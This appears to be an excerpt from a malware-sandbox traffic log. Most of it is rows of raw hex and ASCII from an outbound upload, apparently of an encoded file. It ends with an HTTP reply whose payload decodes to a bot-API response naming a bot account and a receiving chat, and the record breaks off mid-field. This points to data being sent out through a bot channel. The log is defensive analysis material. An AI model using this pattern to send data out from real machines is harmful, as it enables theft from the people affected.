2021-09-13 04:32:06 UTC	2977	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:06 UTC	2993	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:06 UTC	3009	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:06 UTC	3025	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:06 UTC	3041	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:06 UTC	3057	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:06 UTC	3073	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:06 UTC	3089	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:06 UTC	3105	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:06 UTC	3121	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:06 UTC	3137	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:06 UTC	3153	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:06 UTC	3169	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:06 UTC	3185	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:06 UTC	3201	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:06 UTC	3217	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:06 UTC	3233	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:06 UTC	3249	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:06 UTC	3265	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:06 UTC	3275	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:06 GMT Content-Type: application/json Content-Length: 1313 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:06 UTC	3276	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 